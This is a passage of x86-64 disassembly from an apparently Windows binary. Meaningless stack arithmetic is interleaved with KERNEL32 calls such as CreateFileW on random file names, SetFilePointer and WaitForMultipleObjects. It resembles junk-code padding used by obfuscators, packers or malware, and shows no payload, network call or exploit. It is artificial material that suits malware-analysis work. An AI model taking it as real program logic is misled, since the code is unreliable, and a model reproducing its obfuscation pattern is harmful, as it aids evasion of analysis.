movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34a]
xor eax, ecx
mov byte [0x140229f1e], al
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
mov word [rsp + 0x1cdc], ax
movzx eax, word [rsp + 0x1ca8]
movzx ecx, word [rsp + 0x15f8]
add eax, ecx
mov rcx, qword [rsp + 0x9c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x350]
and eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x9dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8ff8], rax
mov eax, dword [rsp + 0x473c]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1400]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cac]
add eax, ecx
mov word [0x14022b8d0], ax
mov rax, qword [0x14022b840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1c7c]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x344]
and eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x4758], eax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xa0]
imul eax, eax, 0x24
mov byte [rsp + 0x34f], al
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x3d60]
movzx ecx, al
mov eax, dword [rsp + 0x474c]
shr eax, cl
mov dword [rsp + 0x39dc], eax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
xor eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov word [0x14022b8e0], ax
mov rax, qword [rsp + 0x9a80]
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0x8d08]
movzx ecx, al
mov rax, qword [rsp + 0x9810]
shl rax, cl
mov qword [rsp + 0x9cd8], rax
movsx eax, word [rsp + 0x1ccc]
movsx ecx, word [rsp + 0x1ca0]
or eax, ecx
mov word [rsp + 0x1c94], ax
mov r9d, 0x7f0
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45ec], eax
movzx eax, word [0x14022b8d0]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x8ef0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4614]
mov dword [rsp + 0x475c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1afd
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x472c], eax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x349]
sub eax, ecx
mov byte [rsp + 0x277], al
lea rax, [rsp + 0x9de8]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140229f54], ax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.pOEzHLOqRi_sr31CKsuHK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9df8], rax
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bf8], rax
lea rax, [rsp + 0x77b0]
mov qword [rsp + 0x9e00], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x437c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9c98]
mov byte [rcx], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c9c]
and eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
add eax, ecx
mov word [0x14022b898], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ca0], rax
lea rax, [rsp + 0x1c80]
mov qword [rsp + 0x9e08], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9a20], rax
movzx eax, byte [rsp + 0x34a]
mov byte [rsp + 0x353], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022b808]
shr rax, cl
mov qword [rsp + 0x77b0], rax
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b40], eax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f8]
sub eax, ecx
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0x97d0]
mov qword [0x14022b8e8], rax
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x3db8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4760], eax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x345]
mov qword [rsp + 0x9e10], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc922
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4740], eax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa2c]
and eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov word [rsp + 0x1ce0], ax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 1
xor r8d, r8d
mov edx, 0xc25
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x464c], eax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9988]
mov qword [rsp + 0x9e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x75e8], rax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x9e28], rax
mov eax, dword [rsp + 0x3d60]
mov ecx, dword [rsp + 0x39dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1ccc]
movsx ecx, word [0x14022b87c]
add eax, ecx
mov word [rsp + 0x1cdc], ax
movzx eax, word [rsp + 0x1cc8]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022b8d0], ax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0xe184
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x9be8]
mov rcx, qword [rsp + 0x9d48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7540], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [0x14022b880]
mov qword [rsp + 0x9e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x97d0], rax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov qword [rsp + 0x9e38], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1400], ax
movsx eax, byte [rsp + 0x2c3]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x34c], al
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x4764], eax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x6fd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
lea rax, [rsp + 0xa2c]
mov qword [0x14022b8f0], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a84], ax
lea rax, [rsp + 0x1ca4]
mov qword [rsp + 0x9e40], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c58]
mov qword [rsp + 0x9e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e48]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9be8]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.wJUB5uXFAo4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9e50], rax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov qword [rsp + 0x9e58], rax
mov r9d, 0x1ddc
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4694], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3612
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4644], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9e60], rax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov byte [rcx], al
mov rax, qword [0x14022b890]
mov rcx, qword [rsp + 0x96e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
and eax, ecx
mov word [rsp + 0x1c90], ax
movzx eax, word [rsp + 0x1cbc]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0x82e8]
xor rcx, rax
mov rax, rcx
mov qword [0x140229f20], rax
movzx eax, word [rsp + 0x1c80]
mov word [rsp + 0x1ce4], ax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9ba8]
mov qword [rsp + 0x9e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ca0], rax
lea rax, [rsp + 0x8d08]
mov qword [rsp + 0x9e70], rax
mov rax, qword [rsp + 0x9c40]
mov ecx, dword [rsp + 0x3e6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4278], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x9e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x75e8], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0x354], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4630]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4658], eax
lea rax, [rsp + 0x351]
mov qword [rsp + 0x9e80], rax
lea rax, [rsp + 0x1c84]
mov qword [0x14022b8f8], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c88], ax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4728], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.P7HkSuFQdY8aecdJznOwZYeukT6sl9Tzo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9e88], rax
movzx eax, word [rsp + 0x1cc0]
movzx ecx, word [0x140229f40]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19bc], ax
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x39dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
movzx eax, byte [0x14022b810]
mov byte [rsp + 0x355], al
mov rax, qword [rsp + 0x75e8]
mov rcx, qword [rsp + 0x9b98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
movsx eax, word [rsp + 0x1518]
movsx ecx, word [rsp + 0x1cb8]
sar eax, cl
mov rcx, qword [rsp + 0x9c30]
mov word [rcx], ax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x9e90], rax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c28]
add rcx, rax
mov rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [0x140229f48]
mov rcx, qword [rsp + 0x8078]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c80], rax
lea rax, [0x14022b824]
mov qword [rsp + 0x9e98], rax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
shl eax, cl
mov byte [rsp + 0x352], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b38]
mov dword [rcx], eax
mov eax, dword [0x14022b878]
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
sar eax, cl
mov byte [0x14022b810], al
mov rax, qword [0x14022b8b8]
movzx eax, word [rax]
mov word [rsp + 0x1ce8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa5aa
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7b8]
sub eax, ecx
mov word [rsp + 0xecc], ax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [0x14022b850]
and eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x86c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.rzb3Nfdcwjpf7SlivdARo_fydAUkz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9ea0], rax
mov rax, qword [rsp + 0x9d60]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4764], eax
lea rax, [0x14022b810]
mov qword [rsp + 0x9ea8], rax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8500], rax
mov r9d, 0x1b33
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x472c], eax
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1cb8]
movsx ecx, word [rsp + 0x1cdc]
sar eax, cl
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
movzx eax, word [rsp + 0xb30]
mov word [0x14022b900], ax
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0x9eb0], rax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov dword [rsp + 0x476c], eax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x347], al
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x475c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bc0], rax
mov r9d, 0x3da
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4770], eax
mov rax, qword [rsp + 0x9ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9890]
movzx eax, word [rax]
mov word [rsp + 0x1cec], ax
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022b824], ax
lea rdx, [rsp + 0x46e8]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0x9be8]
mov rcx, qword [rsp + 0x9bf8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ba0]
mov qword [rsp + 0x9eb8], rax
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cb8], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x475c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ff4], eax
mov rax, qword [rsp + 0x9cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
add eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov qword [rsp + 0x9ec0], rax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x140229f48]
mov rcx, qword [rsp + 0x9cd0]
mov qword [rsp + 0x9ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ca8], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140229f58], ax
movzx eax, word [rsp + 0x1384]
mov rcx, qword [0x14022b8b0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b38]
mov rcx, qword [rsp + 0x9bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x39bc], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov qword [rsp + 0x9ed0], rax
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x474c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34e]
sub eax, ecx
mov byte [rsp + 0x349], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7e28], rax
movsx eax, word [rsp + 0x1ce8]
movsx ecx, word [rsp + 0xa2c]
sar eax, cl
mov word [rsp + 0x1cb8], ax
lea rax, [rsp + 0x1ca8]
mov qword [0x14022b908], rax
lea rax, [0x14022b8e8]
mov qword [rsp + 0x9ed8], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cc8], ax
lea rax, [rsp + 0x1cb8]
mov qword [rsp + 0x9ee0], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x86c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ed0], rax
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x437c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov dword [rcx], eax
lea rax, [rsp + 0x133]
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1cbc]
mov word [rsp + 0x1cf0], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
add rcx, rax
mov rax, rcx
mov qword [0x14022b8a8], rax
mov rax, qword [rsp + 0x9bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
lea rdx, [rsp + 0x4734]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x345]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9880]
movzx eax, word [rax]
mov word [rsp + 0x1cf4], ax
movzx eax, word [rsp + 0x1ca8]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bc4], ax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x9ef0], rax
mov rax, qword [0x14022b890]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x39dc]
shr eax, cl
mov dword [rsp + 0x3d60], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9ef8], rax
movsx eax, byte [rsp + 0x34a]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
lea rax, [rsp + 0x1c98]
mov qword [rsp + 0x9f00], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov word [0x14022b910], ax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [0x14022b830]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x9d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [0x140229f48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9a20], rax
movsx eax, word [rsp + 0x1ca0]
movsx ecx, word [rsp + 0x1400]
sar eax, cl
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4764]
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0x9670]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x9b68]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
